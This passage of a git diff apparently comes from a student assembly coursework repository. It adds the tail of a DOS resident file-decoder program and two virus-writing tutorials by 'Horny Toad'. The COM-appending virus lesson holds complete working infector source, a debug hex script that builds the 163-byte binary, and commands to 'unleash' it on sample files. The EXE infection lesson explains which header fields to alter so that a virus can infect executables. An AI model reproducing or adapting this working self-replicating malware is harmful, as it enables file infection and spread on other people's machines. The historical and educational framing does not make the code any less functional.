+  lea di, es:[bp+passwords]
+  add di, ax
+  mov es:[bp+pass], di
+
+  push cs
+  pop ds
+  mov cx, cPASS_LEN
+  mov al, ' '
+  repnz scasb
+  jnz $+3
+  inc cx
+  sub cx, cPASS_LEN
+  neg cx
+
+  mov es:[bp+pass_len], cx
+
+
+  jmp decode_file
+
+not_found:
+  pop di
+  pop si
+  pop cx
+
+  pop dx
+  pop ds
+  jmp exit
+;------------------------------------
+
+decode_file: 
+
+  pop dx
+  pop ds
+
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+
+  xchg ax,bx                                ;file handle to bx
+  mov cs:[bp+handle], ax
+ 
+  push cs cs
+  pop ds es
+ 
+;-------------------------
+; Decode all the file
+;------------------------- 
+        ; Calculate count of encoded bytes
+        mov ax, 4202h
+        xor cx, cx
+        xor dx, dx
+        int 21h
+
+        mov cx, dx      ; Hi part
+        mov dx, ax      ; Lo part
+
+        sub dx, 2
+        sbb cx, 0
+
+        push cx
+        push dx
+
+        mov bx, ds:[bp+handle]
+        mov ax, 4200h
+        xor cx, cx
+        mov dx, 2
+        int 21h
+
+        pop dx
+        pop cx
+buf_loop:
+        push cx
+        push dx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jl last_buf
+
+begins:
+        mov ah, 3Fh             ; Read full buffer of
+        mov cx, cBUF_SIZE       ; EXECing file
+        lea dx, ds:[bp+buffer]
+        int 21h         
+
+        mov cx, ax
+        dec cx
+        lea di, ds:[bp+buffer]
+        call decode
+        lea di, ds:[bp+buffer]
+        call submagic
+
+        mov ax, 4201h
+        mov dx, cBUF_SIZE
+        neg dx
+        xor cx, cx
+        not cx
+        int 21h
+        jc BAD
+
+        mov ah, 40h     ; Write segment to
+        mov cx, cBUF_SIZE ; the input file
+        lea dx, ds:[bp+buffer]
+        int 21h         ;
+        jc BAD
+
+        cmp ax, cBUF_SIZE
+        jne BAD
+
+        pop dx
+        pop cx
+
+        sub dx, cBUF_SIZE
+        sbb cx, 0
+        jmp buf_loop
+BAD:
+     mov dx, ax
+     shr dx, 12
+     add dl, '0'
+     mov ah, 2
+     int 21
+
+     mov dx, ax
+     shr dx, 8
+     and dx, 0Fh
+     add dl, '0'
+     mov ah, 2
+     int 21
+
+     mov dx, ax
+     shr dx, 4
+     and dx, 0Fh
+     add dl, '0'
+     mov ah, 2
+     int 21
+
+     mov dx, ax
+     and dx, 0Fh
+     add dl, '0'
+     mov ah, 2
+     int 21
+
+     mov al, 7
+     int 29h
+     jmp close
+
+last_buf:
+        pop cx
+        pop dx
+
+        mov ah, 3Fh     ; Read data of
+        push cx
+        lea dx, ds:[bp+buffer]
+        int 21h         ;
+
+        lea di, ds:[bp+buffer]
+        pop cx
+        push cx
+        dec cx
+        lea di, ds:[bp+buffer]
+        call decode
+        lea di, ds:[bp+buffer]
+        call submagic
+
+        mov ax, 4201h
+        pop dx
+        push dx
+        neg dx
+        xor cx, cx
+        not cx
+        int 21h
+
+        mov ah, 40h     ; Write segment to
+        pop cx
+        lea dx, ds:[bp+buffer]
+        int 21h         ;
+mov al, 7
+int 29h
+       ;- Done
+ 
+ close:
+
+  mov ah,3eh                                ;close file
+  int 21h
+ 
+ exit:
+  pop es
+  pop ds
+  popa
+  jmp return
+
+terminate:
+
+ jmp return
+ 
+ 
+ pass_len dw 0
+ pass      dw 0
+ handle    dw 0
+ passwords db (cPASS_LEN*cMAX_FILE) dup (0)
+  db 0
+ files     db (cNAME_LEN*cMAX_FILE) dup (0)
+  db ' '
+ buffer    db cBUF_SIZE dup (?)
+ test_pass db 10, 12, 15, 17, -20, -13, 05, -30, 55, -51
+;-----------------------
+SeekZ proc near
+  mov al, 0
+  mov cx, 0ffffh
+  repnz scasb
+  neg cx
+  dec cx
+  dec di
+  ret
+endp
+
+;------------------
+; es:di - what to decode
+; cx - length
+decode proc near 
+        push si
+        push ax
+        push cx
+        push dx
+        mov dx, ds:[bp+pass_len]
+loops2: mov si, ds:[bp+pass]
+        cmp cx, dx
+        jb lasts2
+        push cx
+        mov cx, dx
+addmag2: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop addmag2
+        pop cx
+        sub cx, dx
+        jmp loops2
+
+lasts2: inc cx
+lasts3: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop lasts3
+
+        pop dx
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+submagic proc near 
+        push si
+        push ax
+        push cx
+loops:  lea si, ds:[bp+test_pass]
+        cmp cx, 10
+        jb lasts
+        push cx
+        mov cx, 10
+addmag: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop addmag
+        pop cx
+        sub cx, 10
+        jmp loops
+
+lasts:  inc cx
+lasts0: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop lasts0
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+;------------------
+the_end:
+
+ message db 10,13,10,13
+ db '- Decoder of encrypted files successfully installed -',10,13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_already db 10, 13
+ db '- Decoder already installed - ', 10, 13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_not db 10, 13
+ db '- Decoder isn''t installed !- ', 10, 13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ msg_un db 10,13,10,13
+ db '- Decoder were successfully removed -',10,13
+ db '                           - Copyright Enikeew I.R. 2084/1 -',10,13,'$'
+
+ fname db 'files.txt',0
+ pname db 'pass.txt', 0
+
+already_resident:
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_already]
+  int 21h
+  jmp exit_prog
+
+not_installed:
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_not]
+  int 21h
+  jmp exit_prog
+
+remove:
+  push cs cs
+  pop ds es
+ 
+  mov ax,0DEADh                     ;our decoder residency check
+  int 21h                           ;
+  cmp bx,0CAFEh                     ;>CAFE :o)
+  jne not_installed                 ;it isn't resident
+
+  mov ax, 0DEDDh
+  int 21h
+
+  mov ah,9                                  ; Installed OK message
+  lea dx,[msg_un]
+  int 21h
+  jmp exit_prog
+
+VERY_END:
+decoder ends
+end start

+ 1 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/files.txt

@@ -0,0 +1 @@
+HOST.EXE    TESTING.EXE 

+ 393 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/h2

@@ -0,0 +1,393 @@
+Lesson 2 The COM Appending Virus By Horny Toad 
+          
+      
+
+
+In the first lesson, we discussed how to write the most basic form of virus, the overwriting virus. This type of virus has serious deficiencies which, I hope, should be very 
+obvious to you. Nonetheless, the basic overwriting virus is a necessary stepping stone in the overall virus writing curriculum. The next virus that we will be looking at is the 
+COM appending infector. This virus is a step up in that it infects the host program without destroying it. 
+
+As the complexity of the virii increase, so do the concepts that pertain to them. With the overwriting virus, we weren't very concerned with the host program, the one that 
+we were infecting, quite simply, because it was going to be destroyed. With the appending virus, our ultimate goal is not to harm the host program, but to slightly modify it 
+to hold the virus code and then be able to run itself. Therefore, with the appender, you really need to visualize what is happening with your virus code and the effects on the 
+host program. Memory usage and management are going to start playing a bigger part in your virus writing. And you can't relax after learning this virus, with EXE infectors, 
+resident and boot virii, memory will continue to haunt you. Then, once you have a grasp on memory management, I will through some windows programming your way and 
+utterly confuse you. At this stage, just be happy with the virus that is in this tutorial. You have accomplished a great success when you can not only produce appending 
+virii, but really understand what is going on. Don't listen to the people that criticize the shit out of overwriting and com appenders. Understanding the basic concepts in 
+virus programming will help to build a solid foundation in your coding skills and make the more difficult resident virii easier to grasp. 
+
+I have decided to continue with the format that I used in the first lesson to describe this virus. Therefore, when you are coding in the future and need a quick explanation of 
+a certain technique, you only need to glance at the individual sections of this tutorial. Also, I do expect that you have gone through the first tutorial on overwriting infectors. 
+In keeping with the Codebreaker's idea of easy-to-understand articles, I will continue to describe all of the basic assembly code, even if it was already touched upon in the 
+first lesson. 
+
+I must add that the code in this article is unoptimized for the purpose of instruction. I specifically divided the code up into many different routines so that I could comment 
+on each of them and what they do in the virus itself. I also will add that I code TASM-friendly assembly. I only use Borland's Turbo Assembler. I suggest that you use it. It 
+is very easy to understand and the majority of virii out there are written with TASM in mind. If you still want to use MASM or some other assembler, fine, just make sure 
+that you know the format that your code has to be in. 
+
+After I published the last tutorial, I received a few complaints that people didn't fully understand the use of registers and memory addressing. It was not my goal to 
+completely explain the use of certain complex concepts in the first tutorial. You did not need to know complex memory management to write an overwriter. In this tutorial, I 
+will not be going over hooking interrupts, extended registers, or in-depth flag usage. Such techniques are not needed to understand a COM appender. In the next tutorial, I 
+will be discussing EXE appenders and, in the fourth tutorial, resident virii. Be patient. Wait to understand the more difficult concepts once you need them. Otherwise, you 
+will only get confused. 
+
+Well, on with the virus. I will go ahead and give you a copy below of the basic COM appender, so that, throughout the tutorial, you can reference back to the basic 
+skeleton code. During the explanation of the individual parts of code, I will offer different techniques to accomplish the same results as you see in the basic code. 
+   code segment
+        assume cs:code,ds:code
+        org 100h
+    
+   start:
+        db 0e9h,0,0
+    
+   toad:
+        call bounce
+    
+   bounce:
+        pop  bp
+        sub  bp,OFFSET bounce
+    
+   first_three:
+        mov cx,3
+        lea  si,[bp+OFFSET thrbyte]
+        mov  di,100h
+        push di
+        rep movsb
+    
+   move_dta:
+        lea  dx,[bp+OFFSET hide_dta]
+        mov  ah,1ah
+        int  21h
+    
+   get_one:
+        mov  ah,4eh
+        lea  dx,[bp+comsig]
+        mov  cx,7
+    
+   next:
+        int  21h
+        jnc  openit
+        jmp  bug_out
+    
+   Openit:
+        mov  ax,3d02h
+        lea  dx,[bp+OFFSET hide_dta+1eh]
+        int  21h
+        xchg ax,bx
+    
+   rec_thr:
+        mov  ah,3fh
+        lea  dx,[bp+thrbyte]
+        mov  cx,3
+        int  21h
+    
+   infect_chk:
+        mov  ax,word ptr [bp+hide_dta+1ah]
+        mov  cx,word ptr [bp+thrbyte+1]
+        add  cx,horny_toad-toad+3
+        cmp  ax,cx
+        jz   close_up
+    
+   jmp_size:
+         sub  ax,3
+         mov  word ptr [bp+newjump+1],ax
+    
+   to_begin:
+         mov ax,4200h
+         xor cx,cx
+         xor dx,dx
+         int 21h
+    
+   write_jump:
+         mov ah,40h
+         mov cx,3
+         lea dx,[bp+newjump]
+         int 21h
+    
+   to_end:
+         mov ax,4202h
+         xor cx,cx
+         xor dx,dx
+         int 21h
+    
+   write_body:
+         mov ah,40h
+         mov cx,horny_toad-toad
+         lea dx,[bp+toad]
+         int 21h
+    
+   close_up:
+         mov  ah,3eh
+         int  21h
+    
+   next_bug:
+         mov  ah,4fh
+         jmp  next
+    
+   bug_out:
+         mov  dx,80h
+         mov  ah,1ah
+         int  21h
+         retn
+    
+    
+   comsig db '*.com',0
+   thrbyte db 0cdh,20h,0
+   newjump db 0e9h,0,0
+    
+   horny_toad label near
+    
+   hide_dta db 42 dup (?)
+    
+   code    ENDS
+           END    start
+Well, that is the basic code that we will be using for the virus. Now, before we get into discussing what the individual lines of code do, let's try to conceptualize what a 
+COM appending virus is. Take a look below at the steps that a COM appending virus takes when executed. 
+
+Outline of the COM Appending Virus 
+   Determine the Delta Offset 
+   Restore the infected file's original 3 bytes 
+   Set a new DTA address 
+   Find a COM file. 
+   If none then go to step 16. 
+   Open the file. 
+   Read and store the first 3 bytes of the file. 
+   Check if file has been previously infected. 
+   Calculate the size of the jump to main virus body. 
+   Move to the beginning of the file. 
+   Write the jump to the main virus body. 
+   Move to the end of the file. 
+   Append the virus main body to the end of the file. 
+   Close the file. 
+   Find next matching file. Back to step 4. 
+   Return the DTA to 80 hex and restore control to host program. 
+I swore that I would never include cheesy graphics in my tutorials, but I guess I should, in order to give you a picture of what the virus and the host program look like before 
+and after infection. 
+   Toad2 Virus                Innocent Program
+   163 bytes                  200 bytes
+   -----------                -----------
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   =         =                =         =
+   -----------                -----------
+    
+    
+               After Infection
+    
+   0ffset 100h  ---------------
+                =Jump to Virus=  
+                =Main Body    =  -  3 bytes long
+                =-------------=
+                =             =  The delta offset is the calculation
+                = Innocent    =  of the amount of space that the virus
+                = Program     =  main body has moved down past the Innocent
+                = Main Body   =  program main body.
+                =             =   
+                =             = 
+                =-------------=  
+                =             =
+                = Virus Main  =
+                = Body        =
+                =             =
+                =             =
+                =             =
+                =Data Section =
+                =of Virus     =
+                =--Original---=
+                =--3 bytes of-=
+                =--Innocent---=
+                =--Program----=
+                =-------------=
+Hopefully, I haven't completely discouraged and confused you. Once the individual sections of code are explained, all of these steps will make sense. Something that you 
+must remember when looking at the virus code is that the virus is currently in its first generation. It hasn't yet infected a file. When you are trying to figure out how the virus 
+code works, you will have to think of it in terms of the first time it runs as well as when the infected program is running. 
+
+Well, lets have a look at the code. 
+   code    segment
+The segment directive defines the parameters for a segment. In this instance we are defining the code segment. All of the executable code, the meat of our program will lie 
+inside of the code segment. This segment does not necessarily have to be named "code" segment, but it is only logical, and a good programming convention, to name it 
+the "code" segment. If we were dealing with a larger program, one that had many procedures of external calls, we would definitely want to define a specific segment as our 
+data segment separate from the code. Since this is a very small piece of code, the two will be intermixed. 
+   assume  cs:code,ds:code
+The assume directive lies within the code segment and matches the name that you gave your segment, such as code, with associated register. In our program, we are 
+stating that the code and data segment registers will be associated with the "code" segment. What does this mean? Basically we are still setting up the parameters of our 
+COM file. We are following convention by defining where things are in our program and how they are set up. What are the CS and DS registers? The code segment 
+register is going to contain the starting address of your programs code segment. . Essentially, it tells your computer where to begin to look for your executable code. The 
+DS register contains the starting address for the data section. Another register that I might as well bring up is the IP or instruction pointer register. The job of the IP is to 
+contain the offset address of the next line of code that is to be executed. What is an offset address? An offset address is not a true address of a line in your program, 
+rather a value of the distance away from a given point. If you put two concepts together, the code segment register added to the instruction point register will give you the 
+next executable line in your program. The CS will stay constant as the IP counts up the lines of code. 
+   org     100h
+You should remember this from the overwriting virus. This directive is telling the computer that our virus is a COM file located at 100 hex or 256 bytes. This 100 hex 
+distance is actually an offset directly after the PSP or program segment prefix. The value 100h is placed in the IP, telling the computer where to begin. PSP contains 
+information about your program and is created in memory when the program is loaded. 
+   start:
+        db 0e9h,0,0
+The first instruction that needs to be coded is the jump to our virus code. In the initial execution of our virus, we only want control to the next line of code, so we define a 
+blank jump. The DB or "define byte" directive is most commonly used in the data section of our virus to define strings of information. In this instance, we are literally 
+defining an assembly instruction manually. The instruction that we are defining is "jump." At the lowest level, the level at which the computer processes code, the 
+instruction "jmp" has been transformed by the compiler to it's binary form "11101001." In coding assembly, the preferred numerical system is hexadecimal, so we convert 
+the binary to e9h. No way am I getting into describing how to manually convert bin-dec-hex. I prefer to let my little old Casio do the conversions for me. Get back on track 
+Toad. Do you think that the jump instruction stays null once the virus has infected a program? If you answered "No", then congratulations. Once the virus has infected a 
+program, the first instruction in the code of the infected host will be a jump to the main virus body. Each time the virus infects a program, the first 3 bytes, including the 
+jump instruction will be rewritten with a calculation to jump over the host program to the virus main body. As we progress through the virus, this will all become clearer. 
+   toad:
+        call bounce
+    
+   bounce:
+        pop  bp
+        sub  bp,OFFSET bounce
+The Delta Offset. This is probably the most singular important concept that you will have to learn when coding an appending virus. When you compile the virus for the first 
+time, the assembler calculates the value of all of the offsets. Once the virus has appended itself to the end of the host program, the offsets that the assembler calculated 
+are now all incorrect. The offsets do not take into account the amount of space the code has moved forward, beyond the host program. Before we go into the calculation of 
+the delta offset, lets look at the new instructions within this routine. The first is the "call" instruction. If you remember the old BASIC computer language, call is like 
+GOSUB. A call instruction pushes the IP onto the stack. Ok, let's take a look at that last sentence. What does it mean? Who's pushing who? And what the hell is a 
+stack? Don't panic, we are going to take this nice and easy. The stack is a temporary memory location that can be used to store such things as the IP (the address of the 
+next instruction) during a "call". The term "push" means that the data is being moved onto the stack. The opposite of "push" is "pop". The pop instruction merely transfers 
+the data that was just pushed onto the stack to a specified destination. Don't freak out on me with this. At this point, this is all I want you to know about the stack, a 
+temporary memory location. On to the calculation. The call instruction pushes the IP, the address of the next instruction on to the stack. We then pop this address into 
+the bp. Then subtract the original offset of bounce, which was determined at the virus' original compilation, from the value in bp. The tasm toad2.asm (You can actually do this from any directory that you want)
+The result should be: 
+Turbo Assembler Version 2.01
+ 
+Assembling file:         toad2.asm
+Error Messages:          none
+Warning Messages:        none
+Passes:                  1
+Remaining Memory:        425k
+If there was an error in the code, TASM will indicate it in the error messages line. If you have typed the code in yourself and there is an error, revert back to the file 
+"toad2.asm" and take a look at my code, it works. If there are too many problems with your code and you'd just like to see how all this stuff works, switch to the "create" 
+directory and type the above instructions again. There is a copy of the "toad2.asm" and TASM and TLINK in this directory. What TASM has done is convert the ASM file 
+into an OBJ file. In order to get an executable COM file, we need to use the linker. Type: 
+C:\>tlink /t toad2.obj
+Tlink will return TOAD2.COM in the current directory. You now have a virus in front of you. Don't get scared, it won't bite. Now you will need to move the virus from the 
+current directory to the pond directory. Type: 
+C:\>copy toad2.com c:\pond\
+Then type : 
+C:\>cd ..\pond
+This will move you to the pond directory. Now list the contents of the directory by typing: 
+C:\pond>dir
+You will see that there are some files in this directory, TOAD2.COM and FLY(1-3).COM. TOAD.COM is your virus and the FLY(1-3).COM are the files that you are going to 
+infect. FLY.COM is just a simple COM file that does absolutely nothing. Easy prey! Take a note of the size of the two files, 6 and 162. Now unleash the virus by typing: 
+C:\pond>toad2
+Now list the contents of the directory again. You will now see that the files FLY(1-3) have become a little larger. FLY(1-3).COM are now infected. If all your attempts to 
+compile and link the toad2 virus fail, I have included a compiled copy of the toad2 virus and many fly.com files in the TOAD directory. Change to the TOAD directory and 
+type toad2. The fly files will become infected. 
+
+Debug script of the Toad2 virus 
+
+For those of you who would rather not use the compiler for some ungodly reason or if you are interested in viewing a hex dump of the virus in first generation, here is the 
+debug script of toad2.com. Looking at the debug script of your virus can also help you out in determining the length of certain parts of the virus. Take a look at the script 
+below. You can see the blank jump "e9 00 00" at the beginning of the code for the jump to the main virus body. Look at the end of the script and you can find the int 20 
+"cd 20" and the blank jump in newjump "e9 00 00". To measure the distance of certain parts of the virus, each two digit group equals one byte. For example, "e9" equals 
+one byte. You can determine the total length of the virus by counting the number of groups in the script. In this case, the toad2 virus will come out to 163 bytes. I hope 
+that I have not confused you with this. I purposely put this section at the end of the tutorial because I did not want to go into detail on the use of debug. In the next edition 
+of the zine there will be an article on using debug in virus writing. I just wanted to give you a taste of what is to come. In order to get a functioning virus from the below code 
+you need to find your copy of debug. Cut the below code out and save it to a file called toad2.txt. Then at a cursor, with debug in the same directory, type: 
+
+debug < toad2.txt 
+N TOAD2.COM
+E 0100 E9 00 00 E8 00 00 5D 81 ED 06 01 B9 03 00 8D B6 
+E 0110 9D 01 BF 00 01 57 F3 A4 8D 96 A3 01 B4 1A CD 21 
+E 0120 B4 4E 8D 96 97 01 B9 07 00 CD 21 73 03 EB 60 90 
+E 0130 B8 02 3D 8D 96 C1 01 CD 21 93 B4 3F 8D 96 9D 01 
+E 0140 B9 03 00 CD 21 3E 8B 86 BD 01 3E 8B 8E 9E 01 81 
+E 0150 C1 A3 00 3B C1 74 30 2D 03 00 3E 89 86 A1 01 B8 
+E 0160 00 42 33 C9 33 D2 CD 21 B4 40 B9 03 00 8D 96 A0 
+E 0170 01 CD 21 B8 02 42 33 C9 33 D2 CD 21 B4 40 B9 A0 
+E 0180 00 8D 96 03 01 CD 21 B4 3E CD 21 B4 4F EB 9A BA 
+E 0190 80 00 B4 1A CD 21 C3 2A 2E 63 6F 6D 00 CD 20 00 
+E 01A0 E9 00 00 
+RCX
+00A3
+W
+Q
+Appendix 1 - The Registers
+ 
+ 
+ AX     Accumulator
+ BX     Base register
+ CX     Counting register
+ DX     Data register
+ DS     Data Segment register
+ ES     Extra Segment register
+ SS     Stack Segment register
+ CS     Code Segment register
+ BP     Base Pointer register
+ SI     Source Index register
+ DI     Destination Index register
+ SP     Stack Pointer register
+ IP     Next Instruction Pointer register
+ F      Flag register
+Appendix 2 - The PSP (from Ralf Brown's Interrupt List)
+ 
+Format of Program Segment Prefix (PSP):
+Offset    Size        Description    (Table 1032)
+ 00h      2 BYTEs  INT 20 instruction for CP/M CALL 0 program
+                   termination the CDh 20h here is often used
+                   as a signature for a valid PSP
+ 02h      WORD     segment of first byte beyond memory allocated to
+                   program
+ 04h      BYTE     (DOS) unused filler (OS/2) count of fake DOS
+                   version returns
+ 05h      BYTE     CP/M CALL 5 service request (FAR CALL to absolute
+                   000C0h) BUG: (DOS 2+ DEBUG) PSPs created by DEBUG
+                   point at 000BEh
+ 06h      WORD     CP/M compatibility--size of first segment for .COM
+                   files
+ 08h      2 BYTEs  remainder of FAR JMP at 05h
+ 0Ah      DWORD    stored INT 22 termination address
+ 0Eh      DWORD    stored INT 23 control-Break handler address
+ 12h      DWORD    DOS 1.1+ stored INT 24 critical error handler
+                   address
+ 16h      WORD     segment of parent PSP
+ 18h      20 BYTEs DOS 2+ Job File Table, one byte per file
+                   handle, FFh = closed
+ 2Ch      WORD     DOS 2+ segment of environment for process (see
+                   #1033)
+ 2Eh      DWORD    DOS 2+ process's SS:SP on entry to last INT
+                   21 call
+ 32h      WORD     DOS 3+ number of entries in JFT (default 20)
+ 34h      DWORD    DOS 3+ pointer to JFT (default PSP:0018h)
+ 38h      DWORD    DOS 3+ pointer to previous PSP (default
+                   FFFFFFFFh in 3.x) used by SHARE in DOS 3.3
+ 3Ch      BYTE     DOS 4+ (DBCS) interim console flag (see AX=6301h)
+                   Novell DOS 7 DBCS interim flag as set with
+                   AX=6301h (possibly also used by Far East MS-DOS
+                   3.2-3.3)
+ 3Dh      BYTE     (APPEND) TrueName flag (see INT 2F/AX=B711h)
+ 3Eh      BYTE     (Novell NetWare) flag: next byte initialized if
+                   CEh (OS/2) capabilities flag
+ 3Fh      BYTE     (Novell NetWare) Novell task number if previous
+                   byte is CEh
+ 40h      2 BYTEs  DOS 5+ version to return on INT 21/AH=30h
+ 42h      WORD     (MSWindows3) selector of next PSP (PDB) in linked
+                   list Windows keeps a linked list of Windows programs
+                   only
+ 44h      WORD     (MSWindows3) "PDB_Partition"
+ 46h      WORD     (MSWindows3) "PDB_NextPDB"
+ 48h      BYTE     (MSWindows3) bit 0 set if non-Windows application
+                   (WINOLDAP)
+ 49h      BYTE     unused by DOS versions <= 6.00
+ 4Ch      WORD     (MSWindows3) "PDB_EntryStack"
+ 4Eh      2 BYTEs  unused by DOS versions <= 6.00
+ 50h      3 BYTEs  DOS 2+ service request (INT 21/RETF instructions)
+ 53h      2 BYTEs  unused in DOS versions <= 6.00
+ 55h      7 BYTEs  unused in DOS versions <= 6.00; can be used
+                   to make first FCB into an extended FCB
+ 5Ch      16 BYTEs first default FCB, filled in from first
+                   commandline argument overwrites second FCB if opened
+ 6Ch      16 BYTEs second default FCB, filled in from second
+                   commandline argument overwrites beginning of
+                   commandline if opened
+ 7Ch      4 BYTEs  unused
+ 80h      128 BYTEs commandline / default DTA
+                    command tail is BYTE for length of tail, N BYTEs
+                    for the tail, followed by a BYTE containing 0Dh
+ 

+ 486 - 0
ASM/!SPBSTU/4sem/Kursovik/2/2/help

@@ -0,0 +1,486 @@
+Lesson 4 Guide To EXE Infection By Horny Toad 
+        
+      
+
+Now onto the 4th lesson, EXE file infection. Boy, the topics never seem to get any easier, do they? The difficult aspect of EXE infection is that there is no ONE technique 
+to cover all forms of EXE infection. I will, therefore, keep to the basics in this tutorial and in later articles, address different techniques which you can use. 
+
+What is an EXE file? 
+
+One of the first things that we need to do is understand what an EXE file is and more importantly what it looks like. Quite simply, an EXE file is an improvement over the 
+COM file format in that allows the program size to exceed one segment (64k). COM programs are limited to 64K, including 256 bytes for the PSP. EXE files, on the other 
+hand can occupy a much larger space by using more than one segment. The limit on an EXE file's size is the amount of memory/hard drive space you have. There are 
+other characteristics that differ between the EXE and COM formats. In a COM file, the stack is automatically defined, whereas, in an EXE file, you need to initialize it 
+yourself. This is probably the single most difficult concept to grasp when writing EXE files, the stack. Care must be taken that you define the stack large enough to handle 
+all of the push and pop instructions that your program will use. If your stack is to small, your program is sure to crash. The next difference in the two file formats is the 
+initializing of data segment. In a COM file, the data segment is defined as an area within the code segment. Since a COM file only uses one segment anyway, the data, 
+code, and stack segments can all fall right together. Very convienient right? Well, in an EXE file, after the program loader puts the file in memory, both DS and ES contain 
+the address of the PSP! Remember that! Always remember to load the address of the data segment into ds when coding EXE files. 
+
+At the heart of the EXE file format lies the EXE header. The EXE header is a minimum of 32 bytes that is used to describe a multitude of information about how the 
+program needs to be loaded. Why I say that the header is the heart of the EXE file format, is that a virus which attacks EXE files, needs to utilize practically all of the 
+information in the header. Therefore, pay attention so that you thoroughly understand this concept. 
+
+Let's take a look at the EXE header format: 
+
+The length of each element in the EXE header is 2 bytes (1 WORD). The descriptive names of each element in the header are the traditional names that have been used 
+size the EXE file was created. You can give them whatever symbolic name you want to in you virus. 
+                              EXE Header Format
+    
+   Offset          Length          Content         Description
+   -----------------------------------------------------------------------
+   0h              2               4Dh 5Ah         EXE file signature "MZ"
+    
+   2h              2               PartPag         Length of last non-full
+                                                   page.
+   4h              2               PagCnt          Length of program in 512
+                                                   byte pages
+   6h              2               ReloCnt         Number of elements in
+                                                   the relocation table
+   8h              2               HdrSize         Header length in 
+                                                   paragraphs
+   0Ah             2               MinMem          Minimum memory left in
+                                                   paragraphs.
+   0Ch             2               MaxMem          Maximum memory left in
+                                                   paragraphs.
+   0Eh             2               ReloSS          Segment correction for
+                                                   stack (SS)
+   10h             2               ExeSP           Value of stack pointer
+                                                   (SP)
+   12h             2               ChkSum          Checksum
+    
+   14h             2               ExeIP           Value of instruction
+                                                   pointer (IP)
+   16h             2               ReloCS          Segment correction for
+                                                   CS
+   18h             2               TablOff         Offset for the first
+                                                   relocation element
+   1Ah             2               Overlay         Overlay number
+That looks very pretty, but how does it actually look? To tell you the truth, looking at the EXE header in DEBUG makes it look so much more simpler. The only catch is 
+that you need to rename the extension to something other than ".EXE" in order to view the header. You can, if you know the exact program address, use the DEBUG L 
+command to load a certain sector from a disk and then (D)isplay the contents of the sector. Nahh! Too complicated. Just rename the damn thing. Make sure that you have 
+read Horny Toad & Opic's guide to disassembly and understand how to use DEBUG. I have included some sample files in this tutorial to give you some hands-on work 
+with EXE files. One of the samples is a basic do-nothing EXE file. Let's say that I called this file someExe.exe. Below, I will display the contents of the someExe header. 
+
+At a prompt, type: 
+   c:\>debug someExe.eww
+   -d
+    
+   ??:0100  4D 5A 11 00 02 00 01 00-20 00 11 00 FF FF 02 00  MZ...... .......
+   ??:0110  00 01 00 00 00 00 00 00-3E 00 00 00 01 00 FB 71  ........>......q
+   ??:0120  6A 72 00 00 00 00 00 00-00 00 00 00 00 00 00 00  jr..............
+For an easier to read version of the same information, use SPo0ky's EXE header reader for the following results: 
+   EXE Signature ........................................ MZ
+   Size of Last Page .................................... 0011
+   Number of 512 byte pages in file ..................... 0002
+   Number of Relocation Entries ......................... 0001
+   Header size in Paragraphs ............................ 0020
+   Minimum additional Memory required in paragraphs ..... 0011
+   Maximum additional Memory required in paragraphs ..... FFFF
+   Initial SS relative to start of file ................. 0002
+   Initial SP ........................................... 0100
+   Checksum (unused) .................................... 0000
+   Initial IP ........................................... 0000
+   Initial CS relative to start of file ................. 0000
+   Offset within Header of Relocation Table ............. 003E
+   Overlay Number ....................................... 0000
+    
+   Relocation Table Entries:
+           0000:0001
+However you choose to read the EXE header is fine. At this point, just make sure that you are aware of its existance. I have begun including the debug scripts of the 
+programs that I use in the tutorial so that people who do not have access to the Codebreakers magazine can extract all of the sample programs from the tutorial with the 
+help of debug. The debug usage differs slightly from the other tutorials, so make sure you read the instructions at the end of this file. 
+
+Now, let's take a look at the individual contants of the EXE header and identify their function in the infection process. 
+
+EXE signature 
+
+The first word in the header is the traditional EXE file signature "MZ". These are the initials of Mark Zbikowski, the programmer who designed the EXE file format. 
+Obviously, you already know from my last tutorial that you can use this unique signature to identify whether or not the file is of the EXE format. 
+
+PartPag and PagCnt (need to be modified) 
+
+PartPag and PagCnt make up the entire file size including header. PageCnt, as the name implies, is the length of the file expressed in 512 byte pages. PartPag is the 
+amount of bytes that are on the last page of PageCnt. PartPag is expressed as length of the file mod 512. Mod. You better learn this concept now, because it will follow 
+you on into higher programming languages such as C++. 
+   5 % 2 = 1
+   5 / 2 = 2
+The mod (%) is the remainder left over after division has taken place in non-floating point numbers. Simple enough. PartPag and PagCnt will need to be modified to allow 
+for the inclusion of you virus code. 
+
+ReloCnt 
+
+The next item in the header represents the number of items in the relocation table. What the hell is a relocation table? A relocation table contains two words 
+(offset,segment) for each element in the program that needs to be adjusted to account for segment location. You can skip over this because you will not have to make any 
+modifications here but... 
+
+In the relocation table, both words are read and a relative segment address is computed by the sum of the loading segment address (usually PSP seg + 10h) and the 
+segment address to the element that needs adjusting. The loading segment is then added to the element in memory at the relative segment address/offset. 
+
+HdrSize 
+
+The next element of the header is the header size. Quite self explanatory, the HdrSize holds the size of the header in 16-byte paragraphs. With the information that you 
+have thus far seen, you can determine the actual bare program size with the equation: 
+   Size=((PagCnt*512)-(HdrSize*16))-(512-PartPag)
+You will also not have to fool with the header size. 
+
+MinMem & MaxMem 
+
+Shall we also have another obvious two contents: MinMem and MaxMem? These two values are used to allocate the amount of memory for the program. 
+
+ReloSS & ExeSP (need to be modified) 
+
+ReloSS and ExeSP are two items that need to be changed to account for the addition of code that you have just appended. ReloSS added with the starting segment 
+address will give you your SS register. 
+
+Checksum (should be modified) 
+
+The Checksum item is the traditional place to store an infection marker. 
+
+ReloCS & ExeIP (need to be modified) 
+
